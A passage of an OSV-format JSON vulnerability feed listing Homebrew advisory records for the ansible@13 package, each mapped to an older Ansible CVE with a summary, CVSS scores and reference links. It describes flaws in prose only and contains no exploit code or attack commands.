b.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-161.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-14905","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-frxj-5j27-f8rf","CVE-2019-14905","PYSEC-2020-206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Externally Controlled Reference to a Resource in Another Sphere, Improper Input Validation, and External Control of File Name or Path in Ansible","details":"A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0216"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0218"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14905"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-frxj-5j27-f8rf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-206.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5BNCYPQ4BY5QHBCJOAOPANB5FHATW2BR"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2019-3828","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-74vq-h4q8-x6jv","CVE-2019-3828","PYSEC-2019-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Path Traversal vulnerability","details":"Ansible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-3828"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/52133"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/396a2f74717477d80600450e2b7e45349d7b5110"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4be3215d2f9f84ca283895879f0c6ce1ed7dd333"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f3edc091523fbe301926b7a0db25fbbd96940d93"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3828"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-74vq-h4q8-x6jv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-5.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"WEB","url":"http://packetstormsecurity.com/files/172837/Ansible-Fetch-Path-Traversal.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-10684","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-p62g-jhg6-v3rq","CVE-2020-10684","PYSEC-2020-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Code Injection, Race Condition, and Execution with Unnecessary Privileges in Ansible","details":"A flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.11, and 2.9.7 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10684"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0b4788a71fc7d24ffa957a94ee5e23d6a9733ab0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d0d2645eed36ac4e17052ab4eacf240132d96fb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5eabf7bb93c9bfc375b806a2b1f623d650cddc2b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a9d2ceafe429171c0e2ad007058b88bae57c74ce"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10684"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p62g-jhg6-v3rq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-207.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-10685","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-77g3-3j5w-64w4","CVE-2020-10685","PYSEC-2020-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10685"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68433"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4e1fe80e681fa466626e9dea53efe6b0253ea1b2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/51d2514753544a9d58cd7524e27e696b2c944fb5"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e1273b6faf036ed84e4f4edee85b888a4e256aee"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10685"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-77g3-3j5w-64w4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-1.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-10691","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-3c67-gc48-983w","CVE-2020-10691","PYSEC-2020-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running `ansible-galaxy collection` install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10691"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b2551bb6943eec078066aa3a923e0bb3ed85abe8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10691"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3c67-gc48-983w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-10729","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-r6h7-5pq2-j77h","CVE-2020-10729","PYSEC-2021-105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insufficiently random values in Ansible","details":"A flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10729"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/34144"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67429"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c520d70bf4748c8ee6718a7d0d0254051ba1c2e9"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1831089"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r6h7-5pq2-j77h"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.6/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-105.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-10744","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-vp9j-rghq-8jhh","CVE-2020-10744","PYSEC-2020-208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"An incomplete fix was found for the fix of the flaw CVE-2020-1733 ansible insecure temporary directory when running become_user from become directive. The provided fix is insufficient to prevent the race condition on systems using ACLs and FUSE filesystems. Ansible Engine 2.7.18, 2.8.12, and 2.9.9 as well as previous versions are affected and Ansible Tower 3.4.5, 3.5.6 and 3.6.4 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10744"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/69782"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77d0effcc5b2da1ef23e4ba32986a9759c27c10d"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/84afa8e90cd168ff13208c8eae3e533ce7e21e1f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ffd3757fc35468a97791e452e7f2d14c3e3fcb80"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10744"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vp9j-rghq-8jhh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-208.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-14330","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-785x-qw4v-6872","CVE-2020-14330","PYSEC-2020-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Output Neutralization and Improper Encoding or Escaping of Output for Logs in ansible","details":"An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14330"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/68400"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69653"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0f25a2b1f9e6c21f751ba0ed2dc2eee2152983e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14330"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-785x-qw4v-6872"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-3.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-14332","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-j667-c2hm-f2wp","CVE-2020-14332","PYSEC-2020-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1rc2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File and Improper Output Neutralization for Logs in ansible","details":"A flaw was found in the Ansible Engine when using module_args. Tasks executed with check mode (--check-mode) do not properly neutralize sensitive data exposed in the event data. This flaw allows unauthorized users to read this data. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/71033"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/291f94934c8c49eef85e6539087f2dfcd001fe4f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6cae9a4b168df776bf82deb04b2c62e00c38b49a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/714cd2ad2eff7f003d728414afcb91591fad5d9a"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14332"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j667-c2hm-f2wp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.10/changelogs/CHANGELOG-v2.10.rst#security-fixes-3"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.8/changelogs/CHANGELOG-v2.8.rst#security-fixes-4"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-4.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-14365","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-m429-fhmv-c6q2","CVE-2020-14365","PYSEC-2020-209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Verification of Cryptographic Signature in ansible","details":"A flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when `disable_gpg_check` is set to `False`, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14365"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d043e082b3b1f3ad35c803137f5d3bcbae92275"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1fa2d5fd6b768120b76a77929e27302b06accc0c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9bea33ffa3be3d64827f59882d95b817cfab9b7e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1869154"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m429-fhmv-c6q2"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-209.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2020-1733","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-g4mq-6fp5-qwcf","CVE-2020-1733","PYSEC-2020-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Exposure of Resource to Wrong Sphere and Insecure Temporary File","details":"A race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating 